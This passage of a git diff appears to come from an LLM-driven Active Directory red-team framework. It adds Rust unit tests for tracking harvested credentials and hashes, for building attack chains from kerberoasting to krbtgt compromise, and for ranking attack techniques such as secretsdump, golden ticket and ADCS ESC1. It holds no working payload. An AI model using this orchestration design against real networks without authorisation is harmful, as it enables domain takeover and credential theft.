Some("192.168.58.10".to_string()) + ); + } + + #[test] + fn test_parse_meta_string_raw_ip() { + assert_eq!( + parse_meta_string("192.168.58.10"), + Some("192.168.58.10".to_string()) + ); + } + + #[test] + fn test_parse_meta_string_json_number_falls_through() { + // A JSON number shouldn't parse as a JSON string + assert_eq!(parse_meta_string("42"), Some("42".to_string())); + } + + #[test] + fn test_parse_meta_string_json_boolean_falls_through() { + assert_eq!(parse_meta_string("true"), Some("true".to_string())); + assert_eq!(parse_meta_string("false"), Some("false".to_string())); + } + + #[test] + fn test_parse_meta_string_nested_quotes() { + // Double-encoded string (rare but possible) + let result = parse_meta_string(r#""contoso.local\\admin""#); + assert_eq!(result, Some(r"contoso.local\admin".to_string())); + } + + #[test] + fn test_parse_meta_string_unicode() { + assert_eq!( + parse_meta_string(r#""dc01\u002econtoso.local""#), + Some("dc01.contoso.local".to_string()) + ); + } + + // ─── parse_meta_datetime edge cases ───────────────────────────────────── + + #[test] + fn test_parse_meta_datetime_with_offset() { + let result = parse_meta_datetime("2025-06-15T08:30:00+05:30"); + assert!(result.is_some()); + } + + #[test] + fn test_parse_meta_datetime_negative_offset() { + let result = parse_meta_datetime("2025-06-15T08:30:00-07:00"); + assert!(result.is_some()); + } + + #[test] + fn test_parse_meta_datetime_json_null_string() { + assert!(parse_meta_datetime(r#""null""#).is_none()); + } + + #[test] + fn test_parse_meta_datetime_json_empty_string() { + assert!(parse_meta_datetime(r#""""#).is_none()); + } + + #[test] + fn test_parse_meta_datetime_partial_date() { + assert!(parse_meta_datetime("2025-06-15").is_none()); + } + + // ─── parse_meta_string_list edge cases ────────────────────────────────── + + #[test] + fn test_parse_meta_string_list_json_array_single() { + let list = parse_meta_string_list(r#"["192.168.58.10"]"#); + assert_eq!(list, vec!["192.168.58.10"]); + } + + #[test] + fn test_parse_meta_string_list_json_array_empty() { + let list = parse_meta_string_list("[]"); + assert!(list.is_empty()); + } + + #[test] + fn test_parse_meta_string_list_trailing_comma() { + let list = parse_meta_string_list("192.168.58.10,192.168.58.20,"); + assert_eq!(list, vec!["192.168.58.10", "192.168.58.20"]); + } + + #[test] + fn test_parse_meta_string_list_leading_comma() { + let list = parse_meta_string_list(",192.168.58.10"); + assert_eq!(list, vec!["192.168.58.10"]); + } + + #[test] + fn test_parse_meta_string_list_all_empty_entries() { + let list = parse_meta_string_list(",,,"); + assert!(list.is_empty()); + } + + #[test] + fn test_parse_meta_string_list_json_array_with_numbers() { + // Non-string JSON array elements are filtered out + let list = parse_meta_string_list(r#"[1, 2, 3]"#); + assert!(list.is_empty()); + } + + // ─── OperationMeta::from_redis_hash edge cases ────────────────────────── + + #[test] + fn test_operation_meta_legacy_bool_values() { + let mut data = HashMap::new(); + data.insert("has_domain_admin".to_string(), "True".to_string()); + data.insert("has_golden_ticket".to_string(), "1".to_string()); + let meta = OperationMeta::from_redis_hash(&data); + assert!(meta.has_domain_admin); + assert!(meta.has_golden_ticket); + } + + #[test] + fn test_operation_meta_false_bool_values() { + let mut data = HashMap::new(); + data.insert("has_domain_admin".to_string(), "false".to_string()); + data.insert("has_golden_ticket".to_string(), "0".to_string()); + let meta = OperationMeta::from_redis_hash(&data); + assert!(!meta.has_domain_admin); + assert!(!meta.has_golden_ticket); + } + + #[test] + fn test_operation_meta_target_ips_comma_separated() { + let mut data = HashMap::new(); + data.insert( + "target_ips".to_string(), + "192.168.58.10,192.168.58.20,192.168.58.30".to_string(), + ); + let meta = OperationMeta::from_redis_hash(&data); + assert_eq!(meta.target_ips.len(), 3); + assert_eq!(meta.target_ips[0], "192.168.58.10"); + assert_eq!(meta.target_ips[2], "192.168.58.30"); + } + + #[test] + fn test_operation_meta_target_ips_json_encoded_comma() { + let mut data = HashMap::new(); + data.insert( + "target_ips".to_string(), + r#""192.168.58.10,192.168.58.20""#.to_string(), + ); + let meta = OperationMeta::from_redis_hash(&data); + assert_eq!(meta.target_ips.len(), 2); + } + + #[test] + fn test_operation_meta_null_domain_admin_path() { + let mut data = HashMap::new(); + data.insert("domain_admin_path".to_string(), "null".to_string()); + let meta = OperationMeta::from_redis_hash(&data); + assert!(meta.domain_admin_path.is_none()); + } + + #[test] + fn test_operation_meta_invalid_datetime() { + let mut data = HashMap::new(); + data.insert("started_at".to_string(), "not-a-date".to_string()); + let meta = OperationMeta::from_redis_hash(&data); + assert!(meta.started_at.is_none()); + } + + #[test] + fn test_operation_meta_extra_unknown_fields_ignored() { + let mut data = HashMap::new(); + data.insert("unknown_field".to_string(), "some_value".to_string()); + data.insert("has_domain_admin".to_string(), "true".to_string()); + let meta = OperationMeta::from_redis_hash(&data); + assert!(meta.has_domain_admin); + } + + #[test] + fn test_operation_meta_empty_target_ips() { + let mut data = HashMap::new(); + data.insert("target_ips".to_string(), "".to_string()); + let meta = OperationMeta::from_redis_hash(&data); + assert!(meta.target_ips.is_empty()); + } + + #[test] + fn test_operation_meta_empty_json_array_target_ips() { + let mut data = HashMap::new(); + data.insert("target_ips".to_string(), "[]".to_string()); + let meta = OperationMeta::from_redis_hash(&data); + assert!(meta.target_ips.is_empty()); + } + + // ─── SharedRedTeamState ───────────────────────────────────────────────── + + #[test] + fn test_shared_state_new() { + let state = SharedRedTeamState::new("op-test-001".to_string()); + assert_eq!(state.operation_id, "op-test-001"); + assert!(state.target.is_none()); + assert!(state.target_ips.is_empty()); + assert!(state.completed_at.is_none()); + assert!(state.all_credentials.is_empty()); + assert!(state.all_hashes.is_empty()); + assert!(state.all_hosts.is_empty()); + assert!(state.all_users.is_empty()); + assert!(state.all_shares.is_empty()); + assert!(state.discovered_vulnerabilities.is_empty()); + assert!(state.exploited_vulnerabilities.is_empty()); + assert!(!state.has_domain_admin); + assert!(!state.has_golden_ticket); + assert!(state.domain_admin_path.is_none()); + assert!(state.domain_controllers.is_empty()); + assert!(state.netbios_to_fqdn.is_empty()); + assert!(state.trusted_domains.is_empty()); + assert!(state.all_timeline_events.is_empty()); + assert!(state.all_techniques.is_empty()); + } + + // ─── build_attack_chain ───────────────────────────────────────────────── + + #[test] + fn test_build_attack_chain_empty_state() { + let state = SharedRedTeamState::new("op-chain-empty".to_string()); + let chain = state.build_attack_chain("nonexistent-id"); + assert!(chain.is_empty()); + } + + #[test] + fn test_build_attack_chain_single_credential() { + let mut state = SharedRedTeamState::new("op-chain-single".to_string()); + state.all_credentials.push(Credential { + id: "cred-1".to_string(), + username: "admin".to_string(), + password: "P@ssw0rd!".to_string(), // pragma: allowlist secret + domain: "contoso.local".to_string(), + source: "kerberoast".to_string(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 1, + }); + let chain = state.build_attack_chain("cred-1"); + assert_eq!(chain.len(), 1); + assert_eq!(chain[0].username, "admin"); + assert_eq!(chain[0].domain, "contoso.local"); + assert_eq!(chain[0].source, "kerberoast"); + assert_eq!(chain[0].item_type, "credential"); + } + + #[test] + fn test_build_attack_chain_multi_step() { + let mut state = SharedRedTeamState::new("op-chain-multi".to_string()); + state.all_credentials.push(Credential { + id: "cred-1".to_string(), + username: "svc_sql".to_string(), + password: "SqlP@ss!".to_string(), // pragma: allowlist secret + domain: "contoso.local".to_string(), + source: "kerberoast".to_string(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 1, + }); + state.all_hashes.push(Hash { + id: "hash-1".to_string(), + username: "krbtgt".to_string(), + hash_value: "aad3b435b51404eeaad3b435b51404ee".to_string(), + hash_type: "ntlm".to_string(), + domain: "contoso.local".to_string(), + cracked_password: None, + source: "secretsdump".to_string(), + discovered_at: None, + parent_id: Some("cred-1".to_string()), + attack_step: 2, + aes_key: None, + }); + let chain = state.build_attack_chain("hash-1"); + assert_eq!(chain.len(), 2); + // Forward order: initial access first + assert_eq!(chain[0].username, "svc_sql"); + assert_eq!(chain[0].item_type, "credential"); + assert_eq!(chain[1].username, "krbtgt"); + assert_eq!(chain[1].item_type, "hash"); + } + + #[test] + fn test_build_attack_chain_cycle_guard() { + let mut state = SharedRedTeamState::new("op-cycle".to_string()); + // Create a cycle: cred-1 -> cred-2 -> cred-1 + state.all_credentials.push(Credential { + id: "cred-1".to_string(), + username: "user1".to_string(), + password: "pass1".to_string(), // pragma: allowlist secret + domain: "contoso.local".to_string(), + source: "".to_string(), + discovered_at: None, + is_admin: false, + parent_id: Some("cred-2".to_string()), + attack_step: 1, + }); + state.all_credentials.push(Credential { + id: "cred-2".to_string(), + username: "user2".to_string(), + password: "pass2".to_string(), // pragma: allowlist secret + domain: "contoso.local".to_string(), + source: "".to_string(), + discovered_at: None, + is_admin: false, + parent_id: Some("cred-1".to_string()), + attack_step: 2, + }); + let chain = state.build_attack_chain("cred-1"); + // Should not infinite loop; should have at most 2 entries + assert!(chain.len() <= 2); + } + + // ─── build_domain_admin_chain ─────────────────────────────────────────── + + #[test] + fn test_build_domain_admin_chain_no_krbtgt() { + let state = SharedRedTeamState::new("op-no-krbtgt".to_string()); + let chain = state.build_domain_admin_chain(); + assert!(chain.is_empty()); + } + + #[test] + fn test_build_domain_admin_chain_with_krbtgt() { + let mut state = SharedRedTeamState::new("op-da".to_string()); + state.all_credentials.push(Credential { + id: "cred-init".to_string(), + username: "svc_backup".to_string(), + password: "Backup123!".to_string(), // pragma: allowlist secret + domain: "contoso.local".to_string(), + source: "password_spray".to_string(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 1, + }); + state.all_hashes.push(Hash { + id: "hash-krbtgt".to_string(), + username: "krbtgt".to_string(), + hash_value: "aad3b435b51404eeaad3b435b51404ee".to_string(), + hash_type: "ntlm".to_string(), + domain: "contoso.local".to_string(), + cracked_password: None, + source: "secretsdump".to_string(), + discovered_at: None, + parent_id: Some("cred-init".to_string()), + attack_step: 2, + aes_key: None, + }); + let chain = state.build_domain_admin_chain(); + assert_eq!(chain.len(), 2); + assert_eq!(chain[0].username, "svc_backup"); + assert_eq!(chain[1].username, "krbtgt"); + } + + #[test] + fn test_build_domain_admin_chain_case_insensitive_krbtgt() { + let mut state = SharedRedTeamState::new("op-da-case".to_string()); + state.all_hashes.push(Hash { + id: "hash-krbtgt".to_string(), + username: "KRBTGT".to_string(), // uppercase + hash_value: "abc123".to_string(), + hash_type: "NTLM".to_string(), + domain: "contoso.local".to_string(), + cracked_password: None, + source: "dcsync".to_string(), + discovered_at: None, + parent_id: None, + attack_step: 1, + aes_key: None, + }); + let chain = state.build_domain_admin_chain(); + assert_eq!(chain.len(), 1); + assert_eq!(chain[0].username, "KRBTGT"); + } + + #[test] + fn test_build_domain_admin_chain_ignores_non_ntlm_krbtgt() { + let mut state = SharedRedTeamState::new("op-da-aes".to_string()); + state.all_hashes.push(Hash { + id: "hash-aes".to_string(), + username: "krbtgt".to_string(), + hash_value: "abc123".to_string(), + hash_type: "aes256".to_string(), // Not NTLM + domain: "contoso.local".to_string(), + cracked_password: None, + source: "dcsync".to_string(), + discovered_at: None, + parent_id: None, + attack_step: 1, + aes_key: None, + }); + let chain = state.build_domain_admin_chain(); + assert!(chain.is_empty()); + } + + // ─── format_attack_chain ──────────────────────────────────────────────── + + #[test] + fn test_format_attack_chain_empty() { + let result = SharedRedTeamState::format_attack_chain(&[]); + assert!(result.is_empty()); + } + + #[test] + fn test_format_attack_chain_single_credential() { + let chain = vec![AttackChainStep { + step_number: 1, + item_type: "credential".to_string(), + username: "admin".to_string(), + domain: "contoso.local".to_string(), + source: "password_spray".to_string(), + hash_type: String::new(), + item_id: "cred-1".to_string(), + }]; + let result = SharedRedTeamState::format_attack_chain(&chain); + assert!(result.contains("password_spray")); + assert!(result.contains(r"contoso.local\admin (password)")); + } + + #[test] + fn test_format_attack_chain_credential_then_hash() { + let chain = vec![ + AttackChainStep { + step_number: 1, + item_type: "credential".to_string(), + username: "svc_sql".to_string(), + domain: "contoso.local".to_string(), + source: "kerberoast".to_string(), + hash_type: String::new(), + item_id: "cred-1".to_string(), + }, + AttackChainStep { + step_number: 2, + item_type: "hash".to_string(), + username: "krbtgt".to_string(), + domain: "contoso.local".to_string(), + source: "secretsdump".to_string(), + hash_type: "ntlm".to_string(), + item_id: "hash-1".to_string(), + }, + ]; + let result = SharedRedTeamState::format_attack_chain(&chain); + assert!(result.contains("kerberoast"), "Should contain first source"); + assert!( + result.contains("secretsdump"), + "Should contain second source" + ); + assert!( + result.contains(r"contoso.local\krbtgt (ntlm hash)"), + "Should format hash step" + ); + } + + #[test] + fn test_format_attack_chain_no_source() { + let chain = vec![AttackChainStep { + step_number: 1, + item_type: "credential".to_string(), + username: "admin".to_string(), + domain: "fabrikam.local".to_string(), + source: String::new(), + hash_type: String::new(), + item_id: "cred-1".to_string(), + }]; + let result = SharedRedTeamState::format_attack_chain(&chain); + assert!(result.contains(r"fabrikam.local\admin (password)")); + // No arrow prefix since source is empty + assert!(!result.starts_with(" ")); + } } /// Read-only view of the shared red team state, loaded from Redis. diff --git a/ares-core/src/persistent_store/store.rs b/ares-core/src/persistent_store/store.rs index e7ccf277..65bc447e 100644 --- a/ares-core/src/persistent_store/store.rs +++ b/ares-core/src/persistent_store/store.rs @@ -597,3 +597,138 @@ fn is_ip(value: &str) -> bool { } parts.iter().all(|p| p.parse::().is_ok()) } + +#[cfg(test)] +mod tests { + use super::*; + + // ─── sha256_prefix ────────────────────────────────────────────────────── + + #[test] + fn sha256_prefix_returns_correct_length() { + let result = sha256_prefix("P@ssw0rd!", 16); // pragma: allowlist secret + assert_eq!(result.len(), 16); + } + + #[test] + fn sha256_prefix_deterministic() { + let a = sha256_prefix("test_password", 16); // pragma: allowlist secret + let b = sha256_prefix("test_password", 16); // pragma: allowlist secret + assert_eq!(a, b); + } + + #[test] + fn sha256_prefix_different_inputs_differ() { + let a = sha256_prefix("password1", 16); // pragma: allowlist secret + let b = sha256_prefix("password2", 16); // pragma: allowlist secret + assert_ne!(a, b); + } + + #[test] + fn sha256_prefix_all_hex_chars() { + let result = sha256_prefix("contoso.local\\admin", 64); + assert!(result.chars().all(|c| c.is_ascii_hexdigit())); + } + + #[test] + fn sha256_prefix_len_zero() { + let result = sha256_prefix("anything", 0); + assert!(result.is_empty()); + } + + #[test] + fn sha256_prefix_len_exceeds_hash() { + // SHA-256 produces 64 hex chars; requesting more should clamp + let result = sha256_prefix("test", 128); + assert_eq!(result.len(), 64); + } + + #[test] + fn sha256_prefix_empty_input() { + let result = sha256_prefix("", 16); + assert_eq!(result.len(), 16); + // SHA-256 of empty string is well-known + assert!(result.starts_with("e3b0c44298fc1c14")); + } + + #[test] + fn sha256_prefix_various_lengths() { + for len in [1, 4, 8, 16, 32, 64] { + let result = sha256_prefix("contoso.local", len); + assert_eq!(result.len(), len, "Expected length {len}"); + } + } + + // ─── is_ip ────────────────────────────────────────────────────────────── + + #[test] + fn is_ip_valid_ipv4() { + assert!(is_ip("192.168.58.10")); + assert!(is_ip("192.168.58.240")); + assert!(is_ip("10.0.0.1")); + assert!(is_ip("0.0.0.0")); + assert!(is_ip("255.255.255.255")); + } + + #[test] + fn is_ip_empty_string() { + assert!(!is_ip("")); + } + + #[test] + fn is_ip_hostname() { + assert!(!is_ip("dc01.contoso.local")); + assert!(!is_ip("contoso.local")); + assert!(!is_ip("sql01.fabrikam.local")); + } + + #[test] + fn is_ip_too_few_octets() { + assert!(!is_ip("192.168.58")); + assert!(!is_ip("192.168")); + assert!(!is_ip("192")); + } + + #[test] + fn is_ip_too_many_octets() { + assert!(!is_ip("192.168.58.10.1")); + } + + #[test] + fn is_ip_octet_out_of_range() { + assert!(!is_ip("256.168.58.10")); + assert!(!is_ip("192.168.58.999")); + assert!(!is_ip("192.168.300.10")); + } + + #[test] + fn is_ip_non_numeric_octets() { + assert!(!is_ip("abc.def.ghi.jkl")); + assert!(!is_ip("192.168.58.abc")); + } + + #[test] + fn is_ip_negative_octets() { + assert!(!is_ip("-1.168.58.10")); + assert!(!is_ip("192.168.58.-10")); + } + + #[test] + fn is_ip_with_spaces() { + assert!(!is_ip(" 192.168.58.10")); + assert!(!is_ip("192.168.58.10 ")); + assert!(!is_ip("192. 168.58.10")); + } + + #[test] + fn is_ip_ipv6_rejected() { + assert!(!is_ip("::1")); + assert!(!is_ip("fe80::1")); + assert!(!is_ip("2001:db8::1")); + } + + #[test] + fn is_ip_cidr_rejected() { + assert!(!is_ip("192.168.58.0/24")); + } +} diff --git a/ares-core/src/token_usage.rs b/ares-core/src/token_usage.rs index d3fdd4b7..33968afd 100644 --- a/ares-core/src/token_usage.rs +++ b/ares-core/src/token_usage.rs @@ -602,4 +602,289 @@ mod tests { assert_eq!(breakdown[0].input_tokens, 500_000); assert_eq!(breakdown[0].output_tokens, 500_000); } + + // ─── TokenUsage struct ────────────────────────────────────────────────── + + #[test] + fn token_usage_default() { + let t = TokenUsage::default(); + assert_eq!(t.input_tokens, 0); + assert_eq!(t.output_tokens, 0); + assert_eq!(t.total_tokens, 0); + assert!(t.model.is_none()); + } + + #[test] + fn token_usage_serde_roundtrip() { + let t = TokenUsage { + input_tokens: 100, + output_tokens: 50, + total_tokens: 150, + model: Some("gpt-4.1".to_string()), + }; + let json = serde_json::to_string(&t).unwrap(); + let deserialized: TokenUsage = serde_json::from_str(&json).unwrap(); + assert_eq!(deserialized.input_tokens, 100); + assert_eq!(deserialized.output_tokens, 50); + assert_eq!(deserialized.total_tokens, 150); + assert_eq!(deserialized.model, Some("gpt-4.1".to_string())); + } + + #[test] + fn token_usage_serde_skips_none_model() { + let t = TokenUsage { + input_tokens: 10, + output_tokens: 5, + total_tokens: 15, + model: None, + }; + let json = serde_json::to_string(&t).unwrap(); + assert!(!json.contains("model")); + } + + #[test] + fn token_usage_deserialize_missing_model() { + let json = r#"{"input_tokens": 10, "output_tokens": 5, "total_tokens": 15}"#; + let t: TokenUsage = serde_json::from_str(json).unwrap(); + assert!(t.model.is_none()); + } + + // ─── OperationTokenUsage / ModelTokenUsage defaults ───────────────────── + + #[test] + fn operation_token_usage_default() { + let o = OperationTokenUsage::default(); + assert_eq!(o.input_tokens, 0); + assert_eq!(o.output_tokens, 0); + assert!(o.model.is_empty()); + assert!(o.models.is_empty()); + } + + #[test] + fn model_token_usage_default() { + let m = ModelTokenUsage::default(); + assert_eq!(m.input_tokens, 0); + assert_eq!(m.output_tokens, 0); + } + + // ─── lookup_model_cost variations ─────────────────────────────────────── + + #[test] + fn lookup_model_cost_all_known_models() { + // Verify every model in the pricing table can be looked up + let known_models = [ + "gpt-4.1", + "gpt-4.1-mini", + "gpt-4.1-nano", + "gpt-4o", + "gpt-4o-mini", + "gpt-4-turbo", + "gpt-5", + "gpt-5.2", + "gpt-5-mini", + "openai/gpt-4.1", + "openai/gpt-4.1-mini", + "openai/gpt-4o", + "gemini/gemini-2.5-pro", + "gemini/gemini-2.5-flash", + ]; + for model in known_models { + assert!( + lookup_model_cost(model).is_some(), + "Expected pricing for {model}" + ); + } + } + + #[test] + fn lookup_model_cost_fuzzy_substring_match() { + // A model name that contains a known name as substring + let result = lookup_model_cost("azure/gpt-4o-2024-deployment"); + assert!( + result.is_some(), + "Expected fuzzy match for gpt-4o substring" + ); + } + + #[test] + fn lookup_model_cost_returns_correct_rates() { + // gpt-4.1: $2.00/M input, $8.00/M output + let (input, output) = lookup_model_cost("gpt-4.1").unwrap(); + assert!((input - 2.0).abs() < 0.001); + assert!((output - 8.0).abs() < 0.001); + + // gpt-4.1-nano: $0.10/M input, $0.40/M output + let (input, output) = lookup_model_cost("gpt-4.1-nano").unwrap(); + assert!((input - 0.10).abs() < 0.001); + assert!((output - 0.40).abs() < 0.001); + } + + // ─── model_field edge cases ───────────────────────────────────────────── + + #[test] + fn model_field_empty_model_name() { + let field = model_field("", "input_tokens"); + let (model, tt) = parse_model_field(&field).unwrap(); + assert!(model.is_empty()); + assert_eq!(tt, "input_tokens"); + } + + #[test] + fn model_field_with_colons_in_name() { + // Model names with colons should survive base64 encoding + let name = "provider:model:variant"; + let field = model_field(name, "output_tokens"); + let (decoded, tt) = parse_model_field(&field).unwrap(); + assert_eq!(decoded, name); + assert_eq!(tt, "output_tokens"); + } + + #[test] + fn parse_model_field_malformed_base64() { + // Valid prefix but invalid base64 content + let result = parse_model_field("model:!!!invalid!!!:input_tokens"); + assert!(result.is_none()); + } + + // ─── estimate_usage_cost with mixed priced/unpriced ───────────────────── + + #[test] + fn estimate_usage_cost_mixed_models() { + let usage = OperationTokenUsage { + input_tokens: 2_000_000, + output_tokens: 1_000_000, + model: "gpt-4o".to_string(), + models: HashMap::from([ + ( + "gpt-4o".to_string(), + ModelTokenUsage { + input_tokens: 1_000_000, + output_tokens: 500_000, + }, + ), + ( + "my-custom-model-v1".to_string(), + ModelTokenUsage { + input_tokens: 1_000_000, + output_tokens: 500_000, + }, + ), + ]), + }; + let (total, breakdown, unpriced) = estimate_usage_cost(&usage); + assert!(total.is_some()); + assert_eq!(breakdown.len(), 1); // Only gpt-4o is priced + assert_eq!(unpriced.len(), 1); + assert_eq!(unpriced[0], "my-custom-model-v1"); + } + + #[test] + fn estimate_usage_cost_breakdown_sorted_by_name() { + let usage = OperationTokenUsage { + input_tokens: 2_000_000, + output_tokens: 1_000_000, + model: "gpt-4o".to_string(), + models: HashMap::from([ + ( + "gpt-4o".to_string(), + ModelTokenUsage { + input_tokens: 500_000, + output_tokens: 250_000, + }, + ), + ( + "gpt-4.1-mini".to_string(), + ModelTokenUsage { + input_tokens: 500_000, + output_tokens: 250_000, + }, + ), + ]), + }; + let (_, breakdown, _) = estimate_usage_cost(&usage); + assert_eq!(breakdown.len(), 2); + // Sorted alphabetically: gpt-4.1-mini before gpt-4o + assert_eq!(breakdown[0].model, "gpt-4.1-mini"); + assert_eq!(breakdown[1].model, "gpt-4o"); + } + + // ─── Key format tests ─────────────────────────────────────────────────── + + #[test] + fn token_usage_key_format_various() { + assert_eq!(token_usage_key("op-123"), "ares:op:op-123:token_usage"); + assert_eq!(token_usage_key(""), "ares:op::token_usage"); + } + + #[test] + fn blue_token_usage_key_format_various() { + assert_eq!( + blue_token_usage_key("inv-abc"), + "ares:blue:inv:inv-abc:token_usage" + ); + assert_eq!(blue_token_usage_key(""), "ares:blue:inv::token_usage"); + } + + // ─── ModelCostBreakdown serialization ─────────────────────────────────── + + #[test] + fn model_cost_breakdown_serialize() { + let b = ModelCostBreakdown { + model: "gpt-4.1".to_string(), + input_tokens: 1000, + output_tokens: 500, + total_tokens: 1500, + cost: 0.006, + }; + let json = serde_json::to_value(&b).unwrap(); + assert_eq!(json["model"], "gpt-4.1"); + assert_eq!(json["total_tokens"], 1500); + assert!((json["cost"].as_f64().unwrap() - 0.006).abs() < 0.0001); + } + + // ─── OperationTokenUsage serialization ────────────────────────────────── + + #[test] + fn operation_token_usage_serialize() { + let usage = OperationTokenUsage { + input_tokens: 10000, + output_tokens: 5000, + model: "gpt-4o".to_string(), + models: HashMap::from([( + "gpt-4o".to_string(), + ModelTokenUsage { + input_tokens: 10000, + output_tokens: 5000, + }, + )]), + }; + let json = serde_json::to_value(&usage).unwrap(); + assert_eq!(json["input_tokens"], 10000); + assert_eq!(json["output_tokens"], 5000); + assert_eq!(json["model"], "gpt-4o"); + assert!(json["models"]["gpt-4o"].is_object()); + } + + // ─── Zero-cost edge case ──────────────────────────────────────────────── + + #[test] + fn estimate_usage_cost_zero_tokens_known_model() { + let usage = OperationTokenUsage { + input_tokens: 0, + output_tokens: 0, + model: "gpt-4o".to_string(), + models: HashMap::from([( + "gpt-4o".to_string(), + ModelTokenUsage { + input_tokens: 0, + output_tokens: 0, + }, + )]), + }; + let (total, breakdown, unpriced) = estimate_usage_cost(&usage); + assert!(total.is_some()); + assert_eq!(total.unwrap(), 0.0); + assert_eq!(breakdown.len(), 1); + assert!(unpriced.is_empty()); + } } diff --git a/ares-llm/src/agent_loop/callbacks.rs b/ares-llm/src/agent_loop/callbacks.rs index c4c0d307..53b841f3 100644 --- a/ares-llm/src/agent_loop/callbacks.rs +++ b/ares-llm/src/agent_loop/callbacks.rs @@ -144,9 +144,12 @@ pub(super) fn handle_builtin_callback(call: &ToolCall) -> Result ))) } "list_credentials" => { - // Minimal response — real data comes from OrchestratorCallbackHandler + // Fallback when no OrchestratorCallbackHandler is wired (e.g. standalone worker). + // When the orchestrator handler IS present, it intercepts this before we get here. Ok(CallbackResult::Continue( - "Use get_all_credentials for full credential listing.".to_string(), + "No credentials available in this context. Credentials are injected \ + into your task payload at dispatch time — check the task description." + .to_string(), )) } // Orchestrator-only tools — these require a custom CallbackHandler @@ -186,3 +189,122 @@ pub(super) async fn handle_callback( // Fall back to built-in handlers handle_builtin_callback(call) } + +#[cfg(test)] +mod tests { + use super::*; + + fn make_call(name: &str, args: serde_json::Value) -> ToolCall { + ToolCall { + id: "test-id".to_string(), + name: name.to_string(), + arguments: args, + } + } + + #[test] + fn test_list_credentials_fallback() { + let call = make_call("list_credentials", serde_json::json!({})); + let result = handle_builtin_callback(&call).unwrap(); + match result { + CallbackResult::Continue(msg) => { + assert!(msg.contains("No credentials available")); + assert!(msg.contains("task payload")); + } + other => panic!("Expected Continue, got {other:?}"), + } + } + + #[test] + fn test_task_complete_string_result() { + let call = make_call( + "task_complete", + serde_json::json!({"task_id": "t-123", "result": "done"}), + ); + let result = handle_builtin_callback(&call).unwrap(); + match result { + CallbackResult::TaskComplete { task_id, result } => { + assert_eq!(task_id, "t-123"); + assert_eq!(result, "done"); + } + other => panic!("Expected TaskComplete, got {other:?}"), + } + } + + #[test] + fn test_task_complete_json_result() { + let call = make_call( + "task_complete", + serde_json::json!({"task_id": "t-456", "result": {"status": "success"}}), + ); + let result = handle_builtin_callback(&call).unwrap(); + match result { + CallbackResult::TaskComplete { task_id, result } => { + assert_eq!(task_id, "t-456"); + assert!(result.contains("success")); + } + other => panic!("Expected TaskComplete, got {other:?}"), + } + } + + #[test] + fn test_request_assistance() { + let call = make_call( + "request_assistance", + serde_json::json!({"issue": "stuck", "context": "ldap failed"}), + ); + let result = handle_builtin_callback(&call).unwrap(); + match result { + CallbackResult::RequestAssistance { issue, context } => { + assert_eq!(issue, "stuck"); + assert_eq!(context, "ldap failed"); + } + other => panic!("Expected RequestAssistance, got {other:?}"), + } + } + + #[test] + fn test_record_credential_disabled() { + let call = make_call( + "record_credential", + serde_json::json!({ + "username": "admin", + "password": "P@ssw0rd", + "domain": "contoso.local" + }), + ); + let result = handle_builtin_callback(&call).unwrap(); + match result { + CallbackResult::Continue(msg) => { + assert!(msg.contains("disabled")); + } + other => panic!("Expected Continue, got {other:?}"), + } + } + + #[test] + fn test_orchestrator_only_tools() { + for tool_name in [ + "get_credential_summary", + "get_hash_summary", + "get_all_credentials", + "dispatch_recon", + ] { + let call = make_call(tool_name, serde_json::json!({})); + let result = handle_builtin_callback(&call).unwrap(); + match result { + CallbackResult::Continue(msg) => { + assert!(msg.contains("orchestrator callback handler")); + } + other => panic!("Expected Continue for {tool_name}, got {other:?}"), + } + } + } + + #[test] + fn test_unknown_callback() { + let call = make_call("nonexistent_tool", serde_json::json!({})); + let result = handle_builtin_callback(&call); + assert!(result.is_err()); + } +} diff --git a/ares-llm/src/prompt/templates.rs b/ares-llm/src/prompt/templates.rs index b3d43e93..0947bd93 100644 --- a/ares-llm/src/prompt/templates.rs +++ b/ares-llm/src/prompt/templates.rs @@ -406,17 +406,22 @@ pub fn render_agent_instructions_with_extras( .with_context(|| format!("Failed to render template '{template_name}'")) } -/// Render the system_instructions template which needs `all_capabilities` as a -/// map of role → tool list (e.g. `{"recon": ["nmap_scan", ...], "lateral": [...]}`). +/// Render the system_instructions template. /// -/// If `all_capabilities` is `None`, the template falls back to hardcoded defaults. +/// - `all_capabilities`: map of role → tool list. Falls back to hardcoded defaults if None. +/// - `technique_priorities`: sorted list of (technique, weight) pairs for the priority table. +/// If provided, renders a dynamic "ATTACK FALLBACK CHAINS" section. pub fn render_system_instructions( all_capabilities: Option<&HashMap>>, + technique_priorities: Option<&[(String, i32)]>, ) -> Result { let mut ctx = Context::new(); if let Some(caps) = all_capabilities { ctx.insert("all_capabilities", caps); } + if let Some(priorities) = technique_priorities { + ctx.insert("technique_priorities", priorities); + } TEMPLATES .render(TEMPLATE_SYSTEM_INSTRUCTIONS, &ctx) @@ -556,16 +561,44 @@ mod tests { caps.insert("privesc".to_string(), vec!["certipy".to_string()]); caps.insert("lateral".to_string(), vec!["psexec".to_string()]); - let result = render_system_instructions(Some(&caps)).unwrap(); + let result = render_system_instructions(Some(&caps), None).unwrap(); assert!(result.contains("RECON")); assert!(result.contains("nmap_scan")); } #[test] fn test_render_system_instructions_without_capabilities() { - let result = render_system_instructions(None).unwrap(); + let result = render_system_instructions(None, None).unwrap(); // Falls back to hardcoded defaults assert!(result.contains("nmap, netexec, rpcclient")); + // Hardcoded fallback table + assert!(result.contains("ADCS ESC1")); + assert!(result.contains("certipy_request")); + } + + #[test] + fn test_render_system_instructions_with_priorities() { + let priorities = vec![ + ("dc_secretsdump".to_string(), 1), + ("golden_ticket".to_string(), 1), + ("secretsdump".to_string(), 2), + ("esc1".to_string(), 5), + ("acl_abuse".to_string(), 6), + ]; + let result = render_system_instructions(None, Some(&priorities)).unwrap(); + // Dynamic table rendered + assert!( + result.contains("operator strategy"), + "Should mention strategy: {result}" + ); + assert!(result.contains("dc_secretsdump")); + assert!(result.contains("esc1")); + assert!(result.contains("acl_abuse")); + // Hardcoded table should NOT appear + assert!( + !result.contains("certipy_request → certipy_auth → secretsdump"), + "Hardcoded table should not appear when priorities are provided" + ); } #[test] diff --git a/ares-llm/templates/redteam/agents/system_instructions.md.tera b/ares-llm/templates/redteam/agents/system_instructions.md.tera index 9bc89fe3..e5bff372 100644 --- a/ares-llm/templates/redteam/agents/system_instructions.md.tera +++ b/ares-llm/templates/redteam/agents/system_instructions.md.tera @@ -288,6 +288,17 @@ 